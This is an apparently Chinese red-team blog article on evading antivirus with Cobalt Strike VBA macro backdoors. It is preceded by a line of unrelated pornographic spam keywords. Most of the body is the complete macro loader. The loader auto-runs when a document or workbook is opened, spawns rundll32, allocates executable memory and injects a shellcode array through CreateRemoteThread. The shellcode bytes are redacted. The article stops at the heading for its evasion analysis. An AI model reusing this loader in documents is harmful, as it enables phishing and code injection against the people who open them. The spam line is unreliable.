精品久久久久久久中文字幕,色五月乱伦,日韩高清无码三级片,丁香五月婷婷色爱,四虎网站在线观看,暴操美女网站,加勒比无视频网站,国产婬片lA片www777

本文來(lái)自“白帽子社區(qū)紅隊(duì)知識(shí)星球”

作者：白帽子社區(qū)紅隊(duì)-偉大寶寶

白帽子社區(qū)紅隊(duì)知識(shí)星球

一個(gè)專(zhuān)屬于紅隊(duì)的高級(jí)威脅技術(shù)研究星球

星球主要面向高級(jí)持續(xù)性威脅領(lǐng)域技術(shù)的研究。目前已在研究或發(fā)表技術(shù)成果的主題主要涵蓋持久化控制、反溯源、后門(mén)傳播、免殺、釣魚(yú)偽裝技術(shù)、Windows系統(tǒng)服務(wù)漏洞研究、開(kāi)源產(chǎn)品漏洞研究等領(lǐng)域，目前已有以下7大板塊：【產(chǎn)品漏洞】【內(nèi)網(wǎng)穿透】【權(quán)限維持】【系統(tǒng)提權(quán)】【內(nèi)網(wǎng)滲透】【免殺技術(shù)】【技術(shù)研究】還可以與嘉賓大佬們接觸，在線答疑微信群、互相探討，不定時(shí)進(jìn)行技術(shù)直播分享。

前言

本次所涉及的殺毒軟件主要為 360，輔助對(duì)比使用的是火絨。我們本篇文章為了驗(yàn)證結(jié)果，主要針對(duì) CobaltStrike 所生成的 vbs 宏代碼來(lái)進(jìn)行免殺測(cè)試，但實(shí)際上就目前殺軟的查殺效果，利用 CobaltStrike 的原生宏代碼來(lái)進(jìn)行釣魚(yú)攻擊顯然不是一種方便的選擇。因?yàn)?vbs 非常的強(qiáng)大以及靈活，完全可以依靠其他方式實(shí)現(xiàn) CobaltStrike 以及其他眾多遠(yuǎn)控工具的上線操作，而且還可以拓展更多的模塊。

注意：本文不會(huì)披露免殺程序，只提供測(cè)試思路，希望對(duì)各位后續(xù)探索新免殺方式提供參考依據(jù)。

免殺技術(shù)研究

先看下常規(guī)情況下的 cs vbs 后門(mén)在 360 查殺中的檢測(cè)情況。

后門(mén)代碼

Private Type PROCESS_INFORMATION  hProcess As Long  hThread As Long  dwProcessId As Long  dwThreadId As LongEnd TypePrivate Type STARTUPINFO  cb As Long  lpReserved As String  lpDesktop As String  lpTitle As String  dwX As Long  dwY As Long  dwXSize As Long  dwYSize As Long  dwXCountChars As Long  dwYCountChars As Long  dwFillAttribute As Long  dwFlags As Long  wShowWindow As Integer  cbReserved2 As Integer  lpReserved2 As Long  hStdInput As Long  hStdOutput As Long  hStdError As LongEnd Type#If VBA7 Then  Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread"(ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVallpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID AsLong) As LongPtr  Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByValhProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr  Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory"(ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr  Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVallpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any,lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long,lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO,lpProcessInformation As PROCESS_INFORMATION) As Long#Else  Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByValhProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVallpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID AsLong) As Long  Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess AsLong, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect AsLong) As Long  Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByValhProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByValLengthWrote As Long) As Long  Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVallpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any,lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long,lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO,lpProcessInformation As PROCESS_INFORMATION) As Long#End IfSub Auto_Open()  Dim myByte As Long, myArray As Variant, offset As Long  Dim pInfo As PROCESS_INFORMATION  Dim sInfo As STARTUPINFO  Dim sNull As String  Dim sProc As String#If VBA7 Then  Dim rwxpage As LongPtr, res As LongPtr#Else  Dim rwxpage As Long, res As Long#End IfmyArray = Array(xxx,xxxx,xxxx,xxx)  If Len(Environ("ProgramW6432")) > 0 Then  sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else  sProc = Environ("windir") & "\\System32\\rundll32.exe" End If  res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)  rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)  For offset = LBound(myArray) To UBound(myArray)  myByte = myArray(offset)  res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)  Next offset      res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)      End Sub  Sub AutoOpen()    Auto_Open  End Sub  Sub Workbook_Open()    Auto_Open  End Sub

代碼中的 myArray 變量值已經(jīng)被我刪掉了，防止有人拿我的 CS 搞事情。

免殺分析

VBS后門(mén)的免殺方式研究